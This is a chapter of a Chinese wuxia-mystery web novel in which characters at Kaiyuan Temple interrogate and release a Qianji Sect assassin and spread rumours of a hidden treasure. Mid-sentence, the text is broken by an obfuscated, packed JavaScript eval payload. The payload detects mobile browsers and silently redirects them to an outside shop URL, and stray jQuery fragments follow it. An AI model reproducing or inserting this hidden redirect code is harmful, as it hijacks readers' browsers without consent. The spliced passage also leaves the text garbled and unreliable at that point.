47. 常牧平

作品:《新雪陈酒

    常牧平就是昨夜在开元精舍用暴雨梨花针重伤李持盈的黑衣人。


    常牧平后退一步,整个人都处于应战状态,紧紧盯着两人,主要还是盯着李长生。


    李持盈昨夜中了他的暴雨梨花针,就算没死,也是重伤。昨天夜里也是被他唬住,后来回去一想才明白,李持盈再厉害那也是肉体凡胎,中了暴雨梨花针不可能一点事也没有!


    而李长生,此人武功高强,天下少见。不说是他,就连他们门主都不一定能打的过这人。


    因此他十分忌惮地盯着李长生,一有风吹草动,可以立刻逃走。


    李长生嗤笑一声,“我先不动你,你放心好了。”


    常牧平半信半疑地看着他,目光冷漠。


    “你是千机门的人?”李长生问。


    常牧平冷言道:“不必问了,我不会甘肃你任何事的!”


    “哦?”还没见过敬酒不吃吃罚酒的,李长生直接冷笑:“或许你更想我直接送你去见佛祖?”


    常牧平咬了咬牙,袖中的暗器滑落手中,被他紧紧捏住。


    “我劝你不要轻举妄动的好,周宣不喜欢杀人,我可没这个爱好。没了暴雨梨花针,抓你对我来说易如反掌。”


    常牧平脸色几番变化,最后又归于冷漠:“我确实是千机门的人。”


    李长生看了眼李持盈,又问:“你来开元寺做什么?”


    碍于寺中众僧侣在场,他没仔细问,只笼统带过。


    常牧平犹疑半晌,才缓慢道:“奉命前来拿回一样东西。”


    闻言,李长生和李持盈对视一眼,果真如开元精舍的信中所言,慧云禅师确实想要将宝物转交给其他人。


    可是为什么呢?


    李长生再次望向常牧平,“最后一个问题,你……你们门主是谁?”


    “无可奉告!”常牧平仰首不屈,定定地看着他。


    “你——”


    “有所为,有所不为。”常牧平当即冷笑一声:“让我出卖门主,休想!”


    也算一条英雄好汉,李长生盯了他半晌,才垂眼一摆手:“你走吧!”


    “嗯?”常牧平愣住,没想到李长生这么简单就放过他了。他又看了看一旁的李持盈,李持盈现在的状况绝对算不上好,但李持盈也只是静静地看着他,既没对李长生的决定提出异议,也没有要动手的意思。


    常牧平戒备地看了两人一会儿,见两人真的没有要动手的意思,才缓缓地退出了斋堂,不一会儿就不见了身影。


    见常牧平不战而退,郭真也不敢再继续嚷嚷,连饭都不吃就跑了!


    当事人都走了,斋堂又恢复一片安静。只不过不时有往这边瞄过来的视线,两人也当没看见,安之若素。


    吃完饭,两人离开斋堂。


    李长生问:“我放常牧平离开,你就没什么要说的?”


    “嗯?吃吗?”从衣袖中又掏出一块酥糖,李持盈递给他。


    李长生瞥了眼:“不吃。”


    他收回手,自己放嘴里嚼了:“你做事我一向都放心。你想放他就放,想必你已经有了打算。”


    李长生眉梢微微挑起,颇有些惊讶:“这么信任我?”


    李持盈一脸你在说什么鬼话的表情看着他:“我不信任你还能去信任谁?你要还说这种不着调的话,就去面壁一个时辰再来。”


    李长生不说话了。


    弥勒堂一侧,一个鬼祟的身影快速掠过,朝山寺大门而去。


    ——正是刚刚从客房收拾完东西要溜的常牧平。


    “你说他是要回去复命,还是去找帮手了?”


    李持盈眼疾手快趁他还没闭嘴,一把把酥糖按进了他口中,“我觉得,他是躲起来不想见你而已。”


    李长生口中含着那块甜的要死的酥糖,颇为无语地看着他,正要吐出来,就看见对方状若威胁的眼神。


    李长生认命地把糖嚼了,这是把卖糖的打死了吗!


    “你幼不幼稚?”


    “还行,不算很幼稚。”李持盈微微笑道。


    内力都用不出来了,还不让他逗逗徒弟玩,那还有什么乐趣可言?


    两人在寺中闲逛,过了没一会儿叔孙穆也找了过来。


    而余向荣一看见两人就要溜,被李长生开口叫住。“余老板何必如此着急?”


    余向荣一副龇牙咧嘴、遇见活阎王的神情,却也不得不默默地转过身来,陪笑道:“哎呀,这不是不想打扰道长三人说话吗?”


    “不打扰。”李长生淡淡说道。


    “……”你打扰我啊!余向荣心中呐喊,面上尴尬笑了两声:“呵呵,那在下恭敬不如从命了。”


    “刚才过来的时候看见常牧平收拾了客房的东西就走了,怎么回事?看样子还很着急。”叔孙穆疑惑问。


    李持盈:“杀人灭口,事情败露,见势不妙,溜之大吉。”


    “妙啊妙啊!”叔孙穆鼓掌道。鼓掌鼓到半截突然顿住,眉毛一竖,气道:“怎么没把他打死!”


    李长生十分疑惑地看着两人,你俩是在说笑话吗?


    余向荣正想笑,就被李长生点名了。


    “余老板久在寺中,可有听说寺中藏有珍宝之类的传言?”


    余向荣一个激灵,顿时感觉索命的问题来了,犹犹豫豫道:“这个……这个么,好像近些天是有这么个传言……”


    “近些天?”叔孙穆奇怪道,“什么传言?传言怎么说的?”


    余向荣看了他一眼,又小心地觑了眼李长生,正对上那冷若冰霜地眼神,顿时不敢再瞄了,破罐子破摔道:“之前开元寺不是遭贼了吗?虽说什么东西都没丢,但是有人说,开元寺里藏有宝藏,这个传言就这么传出来了!”


    “没有根据的事你也信?”


    这话余向荣就不服了,驳斥道:“道长您不也是冲着宝藏来的吗?都是一个目的,咱谁也别说谁!”


    “……”某种程度上余向荣还真没说错。


    “你来开元寺这么多年都没有听说过,现在突然就有这个传闻,你不觉得奇怪吗?”李长生问他。


    余向荣奇怪地看他,“有什么可奇怪的?难道就不许慧云禅师突然在寺中发现了以前埋藏的宝藏吗?开元寺可是个古寺!”


    “……”李长生放弃和他说这个东西了,转而问道:“你以前认识郭真吗?”


    “郭真?不认识,不过听说他住城东,我住城西。而且我家里经商,他,好像是个砍柴的?”余向荣不确定道。


    砍柴的?好像不单纯是这样,不过也没关系。


    李长生最后劝他:“那宝藏或许有,但那和你没有关系。余老板在江宁经营绸缎生意好好的,何必非要蹚这个浑水。”


    “和我没有关系,难道和你有关系吗?你不还是想独吞这个宝藏?想不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492457|154186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到啊想不到,道长您这个看着仙风道骨的人也这么阴险狡诈!”


    李长生:“。”


    叔孙穆在一旁发出了奇怪的笑声。


    “长生啊,我看你还是别说了,一般人是看不懂你的好心的。”


    连李持盈都似笑非笑地在一旁看起了热闹。李长生目光一沉,冷冷地扫过三人,最后打发余向荣,让他跪安了。


    “有什么好笑的?”李长生冷冷地看着眼前东倒西歪的两人。


    “没什么好笑的。”李持盈立刻正色道:“就是,长生你难得大发慈悲一回,没想到此人竟然不领情,简直是太可恶了!是不是?”


    说完叔孙穆笑的更欢了。


    李长生冷哼一声,转身就走。


    两人慢悠悠地跟上。


    叔孙穆笑完开口问道:“看刚才你那么说,你觉得已经排除余向荣的嫌疑了?”


    “他本来就没什么嫌疑,不过是贪婪了一些,总想着天上掉馅饼,飞来横财。”李长生瞥了眼华严殿的位置,“我怕它早晚变成飞来横祸。”


    到了华严殿前,李长生说:“我进去和惠远住持说几句话。”


    “好,我和叔孙在外面等你。”


    李长生一点头,走了进去。


    叔孙穆疑惑道:“有什么话我们不能听吗?”


    恐怕还真有些话是我们不能听的,李持盈默默地想。


    “或许是想给我们个惊喜?”


    叔孙穆满脸写着:你是在逗我吗?


    李持盈不予作答,瞎编而已,他又不负责这话的真实性。


    没一会儿,李长生又出来了,朝两人点点头。


    “说完了?”叔孙穆问。


    李长生:“说完了。”


    “你包袱里卖的什么药?”


    李长生沉吟片刻:“过会儿请你们看一出好戏。”


    “好吧。”叔孙穆暂且放过他,“我倒想看看你能搞出什么名堂来!”


    *


    “明天就是慧云师伯火化的日子了,你们听说了吗?刚刚秀明师弟去了华严殿一趟!”


    有和尚不解,“去华严殿有何稀奇的?住持在华严殿,而秀明师弟负责整理慧云师伯的遗物,去华严殿当然是因为明天火化的事了!”


    “不是不是,若是这么简单,我还会这么惊讶?”


    “别卖关子了,快说快说!”


    “就是,快说!”


    “师兄莫急,我是听说秀明在收拾师伯遗物时发现了一件宝物!”


    “什么!宝物?”


    “什么宝物?”


    “不知道。反正我听说是一件绝世珍宝!华光溢彩,巧夺天工!”


    众人不服,“你都没见过,就知道是绝世珍宝了?一定是你胡乱瞎编的!”


    “嘿,怎么就是我瞎编的了,我亲耳在华严殿听到的!不信你去问秀明!”


    众人直道有理,于是从华严殿出来的秀明和尚就惨遭了毒手。


    秀明看着众位师兄弟,“确实是这样,刚去药师殿整理慧云师伯抄录的经文时,偶然在药师如来佛像后面发现的,可能就是师伯放在那里的吧。”


    “真的有宝藏啊!”


    “那住持怎么说?”


    “住持说,这宝藏也不知道哪来的,也没个主人,打算先放在华严殿,明日随师伯舍利下葬碑林。”


    “啊!可惜可惜!”